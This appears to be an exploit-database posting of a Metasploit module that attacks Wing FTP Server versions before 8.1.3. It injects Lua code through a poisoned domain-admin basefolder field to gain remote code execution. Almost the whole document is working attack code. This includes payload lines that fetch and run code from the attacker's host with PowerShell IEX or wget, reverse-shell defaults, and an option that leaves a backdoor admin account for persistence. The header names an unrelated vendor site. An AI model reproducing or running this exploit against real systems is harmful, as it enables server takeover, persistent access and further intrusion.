Share
## https://sploitus.com/exploit?id=PACKETSTORM:223809
==================================================================================================================================
    | # Title     : Wing FTP Server 8.1.2 - Authenticated Remote Code Execution                                                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://casdoor.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    :  Wing FTP Server versions prior to 8.1.3 allows authenticated administrators to execute arbitrary Lua code on the server.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Wing FTP Server 8.1.2 - Authenticated Remote Code Execution',
            'Description' => %q{
              A vulnerability in Wing FTP Server versions prior to 8.1.3 allows
              authenticated administrators to execute arbitrary Lua code on the
              server. The vulnerability exists in the session serialization mechanism
              where the 'mydirectory' (basefolder) field of a domain admin is not
              properly sanitized. When a poisoned value containing Lua code is
              injected, it gets executed when the session is loaded via `loadfile()`.
    
              This module exploits the vulnerability by creating a poisoned domain
              admin with a crafted basefolder containing Lua code. When the admin
              logs in, the payload is written to the session file and executed on
              subsequent requests.
    
              Successful exploitation grants code execution as the Wing FTP Server
              service account. The payload is persistent and re-executes every time
              the poisoned session is loaded.
    
              Tested on Wing FTP Server 8.1.2 running on Windows Server 2019.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-44403'],
              ['URL', 'https://www.wftpserver.com/']
            ],
            'DisclosureDate' => '2026-05-12',
            'License' => MSF_LICENSE,
            'Platform' => ['windows', 'linux'],
            'Arch' => [ARCH_X64, ARCH_X86, ARCH_CMD],
            'Targets' => [
              [
                'Windows (x64)',
                {
                  'Platform' => 'windows',
                  'Arch' => ARCH_X64,
                  'Type' => :windows,
                  'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Windows (x86)',
                {
                  'Platform' => 'windows',
                  'Arch' => ARCH_X86,
                  'Type' => :windows,
                  'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'windows',
                  'Arch' => ARCH_CMD,
                  'Type' => :windows_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
                }
              ],
              [
                'Linux (x64)',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_X64,
                  'Type' => :linux,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ],
              [
                'Linux Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :linux_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => true,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base Wing FTP Admin path', '/']),
          OptString.new('ADMIN_USER', [true, 'Wing FTP Administrator username']),
          OptString.new('ADMIN_PASS', [true, 'Wing FTP Administrator password']),
          OptString.new('POISON_USER', [false, 'Username for poisoned domain admin', 'svc_backup']),
          OptString.new('POISON_PASS', [false, 'Password for poisoned domain admin', 'P@ssw0rd123!']),
          OptString.new('LUA_PAYLOAD', [false, 'Custom Lua payload (overrides default)']),
          OptBool.new('USE_SSL', [false, 'Use SSL for connection', false]),
          OptInt.new('TIMEOUT', [false, 'HTTP request timeout', 30])
        ])
      end
    
      def admin_login_url
        normalize_uri(target_uri.path, 'service_login.html')
      end
    
      def add_admin_url
        normalize_uri(target_uri.path, 'service_add_admin.html')
      end
    
      def modify_admin_url
        normalize_uri(target_uri.path, 'service_modify_admin.html')
      end
    
      def get_dir_list_url
        normalize_uri(target_uri.path, 'service_get_dir_list.html')
      end
    
      def login_page_url
        normalize_uri(target_uri.path, 'admin_login.html')
      end
    
      def login
        print_status("Authenticating as administrator: #{datastore['ADMIN_USER']}")
        
        data = {
          'username' => datastore['ADMIN_USER'],
          'password' => datastore['ADMIN_PASS']
        }
        
        headers = {
          'Referer' => "#{full_uri(login_page_url)}"
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => admin_login_url,
          'vars_post' => data,
          'headers' => headers,
          'keep_cookies' => true
        )
        
        if res
          if res.code == 200
            begin
              json = res.get_json_document
              if json['code'] == 0
                print_good("Authentication successful")
                return true
              elsif json['code'] == 1 || json['code'] == 2
                print_error("2FA required - module does not support TOTP")
                return false
              else
                print_error("Authentication failed: #{json}")
                return false
              end
            rescue JSON::ParserError
              if res.body && (res.body.include?('logged in ok') || res.body.include?('main.html'))
                print_good("Authentication successful (legacy endpoint)")
                return true
              end
            end
          end
        end
        
        print_error("Authentication failed")
        false
      end
    
      def generate_lua_payload
    
        if datastore['LUA_PAYLOAD'] && !datastore['LUA_PAYLOAD'].empty?
          return datastore['LUA_PAYLOAD']
        end
    
        case target['Platform']
        when 'windows'
          if target['Type'] == :windows_cmd
            cmd = payload.encoded
            return "os.execute('#{cmd.gsub("'", "\\\\'")}')"
          else
    
            ps_cmd = "IEX(New-Object Net.WebClient).DownloadString('http://#{datastore['LHOST']}:#{datastore['LPORT']}/payload');"
            return "os.execute('powershell -Command #{ps_cmd.gsub("'", "\\\\'")}')"
          end
        when 'linux', 'unix'
          if target['Type'] == :linux_cmd
            cmd = payload.encoded
            return "os.execute('#{cmd.gsub("'", "\\\\'")}')"
          else
            download_cmd = "wget -O /tmp/payload http://#{datastore['LHOST']}:#{datastore['LPORT']}/payload && chmod +x /tmp/payload && /tmp/payload"
            return "os.execute('#{download_cmd.gsub("'", "\\\\'")}')"
          end
        else
          if target['Platform'] == 'windows'
            return 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'
          else
            return 'os.execute("whoami > /tmp/wingftp_pwned.txt")'
          end
        end
      end
    
      def create_poisoned_basefolder(lua_payload)
        "/tmp/x]]#{lua_payload}--"
      end
    
      def create_poisoned_admin(poison_user, poison_pass, lua_payload)
        print_status("Creating poisoned domain admin: #{poison_user}")
        
        poisoned_basefolder = create_poisoned_basefolder(lua_payload)
        vprint_status("Poisoned basefolder: #{poisoned_basefolder}")
        
        admin_obj = {
          'username' => poison_user,
          'password' => poison_pass,
          'readonly' => false,
          'domainadmin' => 1,
          'domainlist' => '',
          'mydirectory' => poisoned_basefolder,
          'ipmasks' => [],
          'enable_two_factor' => false,
          'two_factor_code' => ''
        }
        
        admin_json = admin_obj.to_json
        
        headers = {
          'Referer' => "#{full_uri('/main.html')}"
        }
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => add_admin_url,
          'headers' => headers,
          'vars_form_data' => [
            { 'name' => 'admin', 'data' => admin_json, 'mime_type' => 'application/json' }
          ],
          'keep_cookies' => true
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['code'] == 0
              print_good("Poisoned admin created successfully")
              return true
            elsif json['code'] == -3
              print_status("Admin '#{poison_user}' already exists, attempting modification")
              return modify_poisoned_admin(poison_user, poison_pass, lua_payload)
            else
              print_error("Failed to create admin: #{json}")
              return false
            end
          rescue JSON::ParserError
            print_error("Unexpected response: #{res.body[0..200]}")
            return false
          end
        end
        
        false
      end
    
      def modify_poisoned_admin(poison_user, poison_pass, lua_payload)
        print_status("Modifying existing admin: #{poison_user}")
        
        poisoned_basefolder = create_poisoned_basefolder(lua_payload)
        
        admin_obj = {
          'username' => poison_user,
          'password' => poison_pass,
          'readonly' => false,
          'domainadmin' => 1,
          'domainlist' => '',
          'mydirectory' => poisoned_basefolder,
          'ipmasks' => [],
          'enable_two_factor' => false,
          'two_factor_code' => ''
        }
        
        admin_json = admin_obj.to_json
        
        headers = {
          'Referer' => "#{full_uri('/main.html')}"
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => modify_admin_url,
          'headers' => headers,
          'vars_form_data' => [
            { 'name' => 'admin', 'data' => admin_json, 'mime_type' => 'application/json' },
            { 'name' => 'oldname', 'data' => poison_user }
          ],
          'keep_cookies' => true
        )
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            if json['code'] == 0
              print_good("Admin '#{poison_user}' modified successfully")
              return true
            else
              print_error("Failed to modify admin: #{json}")
              return false
            end
          rescue JSON::ParserError
            print_error("Unexpected response: #{res.body[0..200]}")
            return false
          end
        end
        
        false
      end
    
      def trigger_payload(poison_user, poison_pass)
        print_status("Triggering payload by logging in as '#{poison_user}'...")
    
        trigger_session = Rex::Proto::Http::Client.new(
          datastore['RHOST'],
          datastore['RPORT'],
          {},
          datastore['SSL'],
          datastore['SSLVersion']
        )
    
        data = "username=#{Rex::Text.uri_encode(poison_user)}&password=#{Rex::Text.uri_encode(poison_pass)}"
        
        headers = {
          'Referer' => full_uri(login_page_url),
          'Content-Type' => 'application/x-www-form-urlencoded'
        }
        
        res1 = trigger_session.send_recv(
          data,
          headers,
          'POST',
          admin_login_url
        )
        
        if res1 && (res1.code == 200 || res1.code == 302)
          print_good("Login as poisoned admin successful")
        else
          print_warning("Login may have failed, but continuing...")
        end
    
        trigger_data = "dir="
        
        headers['Referer'] = full_uri('/main.html')
        
        res2 = trigger_session.send_recv(
          trigger_data,
          headers,
          'POST',
          get_dir_list_url
        )
        
        if res2
          print_good("Trigger request sent - payload should have executed on the server")
          return true
        end
        
        false
      end
    
      def cleanup_poisoned_admin(poison_user)
        print_status("Cleaning up poisoned admin: #{poison_user}")
    
        delete_url = normalize_uri(target_uri.path, 'service_del_admin.html')
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => delete_url,
          'vars_post' => { 'username' => poison_user },
          'keep_cookies' => true
        )
        
        if res && res.code == 200
          print_good("Poisoned admin cleaned up")
        else
          print_warning("Could not clean up poisoned admin (may need manual removal)")
        end
      end
    
      def check
        print_status("Checking target...")
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => login_page_url
        )
        
        if res && res.code == 200
          if res.body && res.body.include?('Wing FTP Server')
            print_good("Wing FTP Server detected")
            version_match = res.body.match(/Wing FTP Server v?([0-9.]+)/i)
            if version_match
              version = version_match[1]
              print_status("Version: #{version}")
              
              if version < '8.1.3'
                print_good("Version appears vulnerable (< 8.1.3)")
                return CheckCode::Appears
              else
                print_error("Version appears patched (>= 8.1.3)")
                return CheckCode::Safe
              end
            end
            
            return CheckCode::Detected
          end
        end
        
        CheckCode::Unknown
      end
    
      def exploit
        print_status("CVE-2026-44403 - Wing FTP Server Authenticated RCE")
        print_status("Target: #{peer}")
    
        unless login
          fail_with(Failure::NoAccess, "Authentication failed. Check ADMIN_USER and ADMIN_PASS")
        end
    
        lua_payload = generate_lua_payload
        print_status("Lua payload: #{lua_payload}")
    
        poison_user = datastore['POISON_USER']
        poison_pass = datastore['POISON_PASS']
        
        unless create_poisoned_admin(poison_user, poison_pass, lua_payload)
          fail_with(Failure::UnexpectedReply, "Failed to create poisoned admin")
        end
    
        if trigger_payload(poison_user, poison_pass)
          print_good("Payload triggered successfully")
          (datastore['WfsDelay'] * 2).times do
            break if session_created?
            Rex.sleep(1)
          end
        else
          print_warning("Payload may not have executed")
        end
        if datastore['Cleanup']
          cleanup_poisoned_admin(poison_user)
        else
          print_status("Poisoned admin left for persistence: #{poison_user}:#{poison_pass}")
        end
        
        print_good("Exploit completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================